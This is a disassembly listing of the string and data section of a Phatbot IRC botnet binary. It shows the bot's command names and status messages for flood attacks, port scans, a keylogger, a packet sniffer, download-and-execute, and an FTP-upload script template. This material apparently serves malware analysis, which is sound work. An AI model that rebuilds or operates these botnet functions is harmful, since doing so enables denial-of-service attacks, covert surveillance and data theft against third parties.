aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+709Eo
		align 4
dword_429D78	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401ACD+7073o
		dd 25203A29h, 73h
dword_429D94	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401ACD+7004o
		dd 203A2973h, 7325h
dword_429DB0	dd 45444F4Dh, 732520h	; DATA XREF: sub_401ACD+6FA9o
dword_429DB8	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401ACD+6F79o
		dd 203A2973h, 7325h
dword_429DD4	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F00o
dword_429DE0	dd 0A0D7325h, 0		; DATA XREF: sub_401ACD+6ECEo
					; sub_401ACD+6F57o ...
dword_429DE8	dd 54524150h, 732520h	; DATA XREF: sub_401ACD+6E95o
dword_429DF0	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E84o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_429E2C	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6E15o
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 4
unk_429E58	db  2Dh	; -		; DATA XREF: sub_401ACD+6D85o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_429E94	db  2Dh	; -		; DATA XREF: sub_401ACD+6D1Ao
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_429EC8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408745o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRepeatNotAllow	db 'Repeat not allowed in command line: %s',0
		align 4
dword_429EFC	dd 234032Dh, 6E69616Dh,	202D0302h, 65706552h, 203A7461h
					; DATA XREF: sub_401ACD+6C3Do
		dd 7325h
dword_429F14	dd 234032Dh, 6E69616Dh,	202D0302h, 616C6544h, 2E79h
					; DATA XREF: sub_401ACD:loc_408673o
dword_429F28	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_401ACD+6B62o
					; sub_401ACD+6C14o ...
dword_429F38	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD:loc_4085D0o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 10h
dword_429F80	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6AF9o
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_429FBC	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6A8Ao
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401ACD+69E2o
		align 4
dword_429FF4	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401ACD+6980o
		dd 7325203Ah, 0
unk_42A010	db  2Dh	; -		; DATA XREF: sub_401ACD+6975o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
unk_42A034	db  2Dh	; -		; DATA XREF: sub_401ACD+68DBo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start search thread, error: <%d>.',0
unk_42A070	db  2Dh	; -		; DATA XREF: sub_401ACD+6865o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 10h
dword_42A0A0	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401ACD:loc_40826Bo
					; sub_401ACD:loc_409366o
unk_42A0AC	db  2Dh	; -		; DATA XREF: sub_401ACD+6789o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 10h
unk_42A0D0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408234o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 4
unk_42A108	db  2Dh	; -		; DATA XREF: sub_401ACD+675Do
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A140	db  2Dh	; -		; DATA XREF: sub_401ACD+66EDo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42A16C	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+666Ao
aFailedToStar_3	db '- Failed to start clone thread, error: <%d>.',0
		align 4
dword_42A1A8	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+65FBo
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 4
unk_42A1D8	db  2Dh	; -		; DATA XREF: sub_401ACD+6582o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A210	db  2Dh	; -		; DATA XREF: sub_401ACD+6513o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 10h
unk_42A240	db  2Dh	; -		; DATA XREF: sub_401ACD+6489o
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_5	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A278	db  2Dh	; -		; DATA XREF: sub_401ACD+641Ao
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A2A8	db  2Dh	; -		; DATA XREF: sub_401ACD+63A1o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A2E0	db  2Dh	; -		; DATA XREF: sub_401ACD+6332o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42A31C	db  2Dh	; -		; DATA XREF: sub_401ACD+62B9o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
unk_42A35C	db  2Dh	; -		; DATA XREF: sub_401ACD+624Ao
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadingUrl	db 'Downloading URL: %s to: %s.',0
unk_42A388	db  2Dh	; -		; DATA XREF: sub_401ACD+617Bo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42A3CC	db  2Dh	; -		; DATA XREF: sub_401ACD+610Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42A408	db  2Dh	; -		; DATA XREF: sub_401ACD+600Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s:%d with delay: %d(ms).',0
		align 4
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401ACD+5F63o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401ACD+5E86o
		align 4
dword_42A464	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401ACD+5DF2o
					; sub_401ACD+715Ao
unk_42A470	db  2Dh	; -		; DATA XREF: sub_401ACD+5D8Eo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42A4AC	db  2Dh	; -		; DATA XREF: sub_401ACD+5D1Fo
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStar_0	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 4
unk_42A4FC	db  2Dh	; -		; DATA XREF: sub_401ACD+5C88o
					; sub_401ACD+607Eo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_8	db 'Failed to start scan thread, error: <%d>.',0
		align 4
unk_42A534	db  2Dh	; -		; DATA XREF: sub_401ACD+5C19o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSPortScanStart	db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
		db 'inutes using %d threads.',0
		align 4
unk_42A59C	db  2Dh	; -		; DATA XREF: sub_401ACD+5AA3o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start scan, no IP specified.',0
		align 10h
unk_42A5D0	db  2Dh	; -		; DATA XREF: sub_401ACD+5A46o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToSta_10	db 'Failed to start scan, port is invalid.',0
		align 4
unk_42A604	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4073F3o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 4
unk_42A634	db  2Dh	; -		; DATA XREF: sub_401ACD+591Fo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401ACD+5906o
aSS_2		db '-s:%s',0            ; DATA XREF: sub_401ACD+58EFo
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401ACD+58CCo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 10h
aAb		db 'ab',0               ; DATA XREF: sub_401ACD+58A8o
					; ___:00411C61o
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401ACD+5897o
		align 4
unk_42A6A4	db  2Dh	; -		; DATA XREF: sub_401ACD+584Do
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_401ACD+582Ao
		align 4
unk_42A6CC	db  2Dh	; -		; DATA XREF: sub_401ACD+57F4o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAlreadyDScanni	db 'Already %d scanning threads. Too many specified.',0
		align 4
unk_42A70C	db  2Dh	; -		; DATA XREF: sub_401ACD+5797o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A744	db  2Dh	; -		; DATA XREF: sub_401ACD+572Co
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
unk_42A78C	db  2Dh	; -		; DATA XREF: sub_401ACD+567Bo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 10h
unk_42A7C0	db  2Dh	; -		; DATA XREF: sub_401ACD+5647o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_42A7F4	db  2Dh	; -		; DATA XREF: sub_401ACD+5623o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 4
unk_42A82C	db  2Dh	; -		; DATA XREF: sub_401ACD+5581o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5564o
		align 10h
unk_42A880	db  2Dh	; -		; DATA XREF: sub_401ACD+554Fo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_12	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A8B8	db  2Dh	; -		; DATA XREF: sub_401ACD+54E0o
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 10h
unk_42A900	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406EFFo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 4
unk_42A938	db  2Dh	; -		; DATA XREF: sub_401ACD+5428o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_13	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A970	db  2Dh	; -		; DATA XREF: sub_401ACD+53AEo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_401ACD+539Eo
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401ACD+5397o
unk_42A9B4	db  2Dh	; -		; DATA XREF: sub_401ACD+52FCo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 10h
aRandom_0	db 'random',0           ; DATA XREF: sub_401ACD+52ECo
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401ACD+52D5o
aHcon		db 'hcon',0             ; DATA XREF: sub_401ACD+525Fo
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401ACD+524Co
unk_42A9FC	db  2Dh	; -		; DATA XREF: sub_401ACD+51FDo
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 10h
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401ACD+5189o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aEmail		db 'email',0            ; DATA XREF: sub_401ACD+509Eo
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_401ACD+5087o
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401ACD+5070o
		align 4
aP:					; DATA XREF: sub_401ACD+5059o
					; ___:00437C48o
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_401ACD+5042o
		align 10h
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401ACD+502Bo
		align 4
aNs		db 'ns',0               ; DATA XREF: sub_401ACD+5014o
		align 10h
aNetsend	db 'netsend',0          ; DATA XREF: sub_401ACD+4FFDo
aU:					; DATA XREF: sub_401ACD+4FE6o
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_401ACD+4FCFo
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401ACD+4FB8o
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_401ACD+4FA1o
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401ACD+4F8Ao
aPsc		db 'psc',0              ; DATA XREF: sub_401ACD+4F73o
aPortscan	db 'portscan',0         ; DATA XREF: sub_401ACD+4F5Co
		align 4
aC_a		db 'c_a',0              ; DATA XREF: sub_401ACD+4F36o
aC_action	db 'c_action',0         ; DATA XREF: sub_401ACD+4F1Fo
		align 4
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401ACD+4F08o
		align 10h
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401ACD+4EF1o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_401ACD+4EDAo
		align 10h
aScan		db 'scan',0             ; DATA XREF: sub_401ACD+4EC3o
		align 4
aRd		db 'rd',0               ; DATA XREF: sub_401ACD+4EACo
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401ACD+4E95o
		align 4
aJpl10		db 'jpl10',0            ; DATA XREF: sub_401ACD+4E7Eo
		align 10h
aJpldg10	db 'jpldg10',0          ; DATA XREF: sub_401ACD+4E67o
aWonk		db 'wonk',0             ; DATA XREF: sub_401ACD+4E50o
		align 10h
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401ACD+4E39o
		align 4
dword_42AB3C	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4E2Co
aFailedToSta_14	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42AB78	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4DBDo
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401ACD+4D3Ao
		align 10h
aSyn		db 'syn',0              ; DATA XREF: sub_401ACD+4D23o
					; sub_401ACD+52BDo
aSynflood	db 'synflood',0         ; DATA XREF: sub_401ACD+4D0Co
		align 10h
unk_42ABC0	db  2Dh	; -		; DATA XREF: sub_401ACD+4CFFo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_15	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401ACD+4C28o
		align 4
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401ACD+4C11o
					; sub_412B08:loc_412C34o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401ACD+4BFAo
					; sub_412B08:loc_412C18o
		align 4
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401ACD+4BE3o
					; sub_412B08+F1o
		align 10h
aC:					; DATA XREF: sub_401ACD+4BCCo
					; ___:00437C78o
		unicode	0, <c>,0
aClone_0	db 'clone',0            ; DATA XREF: sub_401ACD+4BB5o
		align 4
aIcmp		db 'icmp',0             ; DATA XREF: sub_401ACD+4B8Co
		align 4
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401ACD+4B75o
		align 10h
aMv		db 'mv',0               ; DATA XREF: sub_401ACD+4B5Eo
		align 4
aRename		db 'rename',0           ; DATA XREF: sub_401ACD+4B47o
		align 4
aFf		db 'ff',0               ; DATA XREF: sub_401ACD+4B30o
		align 10h
aFindfile	db 'findfile',0         ; DATA XREF: sub_401ACD+4B19o
		align 4
aE:					; DATA XREF: sub_401ACD+4B02o
					; ___:00437C30o ...
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_401ACD+4AEBo
aJp10		db 'jp]10',0            ; DATA XREF: sub_401ACD+4AD4o
		align 10h
aJpDe100	db 'jp]de100',0         ; DATA XREF: sub_401ACD+4ABDo
		align 4
aDe		db 'de',0               ; DATA XREF: sub_401ACD+4AA6o
		align 10h
aDelay		db 'delay',0            ; DATA XREF: sub_401ACD+4A8Fo
		align 4
aRp		db 'rp',0               ; DATA XREF: sub_401ACD+4A78o
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_401ACD+4A61o
					; sub_401ACD+6BE7o
		align 4
aTsn		db 'tsn',0              ; DATA XREF: sub_401ACD+4A4Ao
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401ACD+4A33o
aT3		db 't3',0               ; DATA XREF: sub_401ACD+4A1Co
		align 4
aTarga3		db 'targa3',0           ; DATA XREF: sub_401ACD+4A05o
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_401ACD+49EEo
aC_part		db 'c_part',0           ; DATA XREF: sub_401ACD+49D7o
		align 4
aC_j		db 'c_j',0              ; DATA XREF: sub_401ACD+49C0o
aC_join		db 'c_join',0           ; DATA XREF: sub_401ACD+49A9o
		align 4
aC_n		db 'c_n',0              ; DATA XREF: sub_401ACD+4992o
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401ACD+497Bo
		align 10h
aC_m		db 'c_m',0              ; DATA XREF: sub_401ACD+4964o
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401ACD+494Do
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_401ACD+4936o
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401ACD+491Fo
		align 4
aM:					; DATA XREF: sub_401ACD+4908o
					; ___:00437C88o
		unicode	0, <m>,0
aCy		db 'cy',0               ; DATA XREF: sub_401ACD+48DAo
		align 10h
aCycle		db 'cycle',0            ; DATA XREF: sub_401ACD+48C3o
		align 4
aA:					; DATA XREF: sub_401ACD+48ACo
					; ___:00437C4Co
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_401ACD+4895o
		align 4
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401ACD+4867o
aAa		db 'aa',0               ; DATA XREF: sub_401ACD+4850o
		align 10h
aAddalias	db 'addalias',0         ; DATA XREF: sub_401ACD+4839o
		align 4
aKl		db 'kl',0               ; DATA XREF: sub_401ACD+4822o
		align 10h
aKilllog	db 'killlog',0          ; DATA XREF: sub_401ACD+480Bo
aGh		db 'gh',0               ; DATA XREF: sub_401ACD+47E2o
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_401ACD+47CDo
aCap		db 'cap',0              ; DATA XREF: sub_401ACD+47B8o
aCapture	db 'capture',0          ; DATA XREF: sub_401ACD+47A3o
unk_42AD50	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406265o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42AD6C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40625Bo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 10h
aSend		db 'send',0             ; DATA XREF: sub_401ACD+475Eo
					; sub_409B12+5F0o
		align 4
unk_42AD98	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40621Eo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42ADB8	db  2Dh	; -		; DATA XREF: sub_401ACD+4747o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
aUser		db 'user',0             ; DATA XREF: sub_401ACD+46D3o
		align 10h
unk_42ADE0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406193o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 10h
unk_42AE00	db  2Dh	; -		; DATA XREF: sub_401ACD+46BCo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 4
aShare		db 'share',0            ; DATA XREF: sub_401ACD+466Eo
		align 4
aContinue	db 'continue',0         ; DATA XREF: sub_401ACD+462Ao
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_401ACD+4610o
		align 10h
aStop		db 'stop',0             ; DATA XREF: sub_401ACD+45F6o
		align 4
unk_42AE48	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4060B6o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42AE68	db  2Dh	; -		; DATA XREF: sub_401ACD+45DFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 4
aStart		db 'start',0            ; DATA XREF: sub_401ACD+45A9o
		align 4
unk_42AE94	db  2Dh	; -		; DATA XREF: sub_401ACD+4577o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet		db 'net',0              ; DATA XREF: sub_401ACD+4553o
dword_42AED0	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4548o
aFailedToStartL	db '- Failed to start logging thread, error: <%d>.',0
		align 4
dword_42AF0C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+44D9o
aKeyLoggerActiv	db '- Key logger active.',0
		align 10h
dword_42AF30	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4457o
aAlreadyRunning	db '- Already running.',0
		align 10h
dword_42AF50	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD:loc_405F0Eo
aNoKeyLoggerThr	db '- No key logger thread found.',0
		align 4
dword_42AF7C	dd 234032Dh, 6C79656Bh,	302676Fh ; DATA	XREF: sub_401ACD+4437o
aKeyLoggerStopp	db '- Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aFile		db 'file',0             ; DATA XREF: sub_401ACD+43F8o
		align 10h
aKeylog		db 'keylog',0           ; DATA XREF: sub_401ACD+43D6o
		align 4
dword_42AFC8	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD:loc_405E98o
aNoThreadFound_	db '- No thread found.',0
		align 4
dword_42AFE8	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43C1o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 10h
dword_42B020	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4391o
aFailedToSta_16	db '- Failed to start server, error: <%d>.',0
		align 4
dword_42B054	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4344o
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 10h
dword_42B080	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4334o
aAlreadyRunni_0	db '- Already running.',0
		align 10h
aIdent		db 'ident',0            ; DATA XREF: sub_401ACD+4301o
		align 4
unk_42B0A8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405DC3o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoPhatbotSniff	db '- No Phatbot sniffer thread found.',0
unk_42B0D8	db  2Dh	; -		; DATA XREF: sub_401ACD+42ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotSniffer	db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_42B118	db  2Dh	; -		; DATA XREF: sub_401ACD+42BCo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_17	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B154	db  2Dh	; -		; DATA XREF: sub_401ACD+424Do
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotPacketS	db '- Phatbot packet sniffer active.',0
		align 4
